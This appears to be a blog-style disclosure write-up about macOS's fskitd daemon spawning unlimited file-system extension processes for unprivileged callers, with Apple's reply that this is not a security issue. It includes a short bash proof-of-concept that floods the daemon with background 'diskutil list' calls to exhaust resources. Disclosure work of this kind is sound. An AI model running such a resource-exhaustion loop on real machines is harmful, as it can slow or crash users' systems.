The door that did not close

On fskitd's unbounded appex spawn surface and Apple's assessment that resource exhaustion from local code execution is not, in their threat model, a security issue.


In 1994, my first real job was at University College Scarborough. The systems were modest, the problems were practical, and one of the earliest things I learned was that a daemon without a resource limit is eventually a daemon with a problem. The observation has aged well.

The observation

fskitd — the file system kit daemon — accepts requests to spawn file system extension processes (appexes) from any unprivileged caller (uid=501, no entitlements required). It does not rate-limit or count-limit those requests. An unprivileged process can send repeated spawn requests and fskitd will service them, growing a pool of appex processes until the system runs out of resources.

Tested on
macOS 26.4.1 (25E253) · arm64e · UTM VM + own hardware · uid=501, no entitlements · own systems only

The PoC

#!/bin/bash
# fskitd unbounded appex spawn — own hardware, uid=501
# Apple confirmed: not a security issue (redirected to Feedback Assistant)
# Demonstrates resource exhaustion from unprivileged caller.

ITERATIONS=50
echo "[*] Sending $ITERATIONS spawn requests to fskitd..."

for i in $(seq 1 $ITERATIONS); do
    # XPC request via public diskarbitration interface
    # Each call prompts fskitd to probe for FS extensions
    diskutil list > /dev/null 2>&1 &
    echo -n "."
done
echo ""

echo "[*] fskitd appex process count:"
pgrep -a -f "fskitd\|FSKit\|filesystemui" | wc -l

echo "[*] System memory pressure:"
vm_stat | grep "Pages free"

echo ""
echo "Note: Apple assessed this as resource exhaustion requiring local code"
echo "execution — correctly below their security threshold. Redirected to"
echo "Feedback Assistant. This PoC is a demonstration, not a weapon."

Apple's response

"Resource exhaustion against a shared system daemon from a caller who already has local code execution, without evidence of cross-boundary data access, memory corruption or privilege escalation, is not a security issue."

Redirected to Feedback Assistant. I sent a polite acknowledgement.

Why the assessment is right

Apple's three-part test — control, data, privilege — correctly filters this out. The attacker already has local code execution before any of this begins. Denial of service requiring local code execution does not cross a security boundary; it inconveniences the user who is already the attacker.

Opinion, clearly flagged: fskitd should have a rate limit on unprivileged spawn requests. That is a quality observation, not a security one. The two things are compatible. Apple's security closure is correct; my quality observation stands separately and goes through Feedback Assistant.

Are you there, fskitd? Yes. Still spawning. Nobody told it to stop.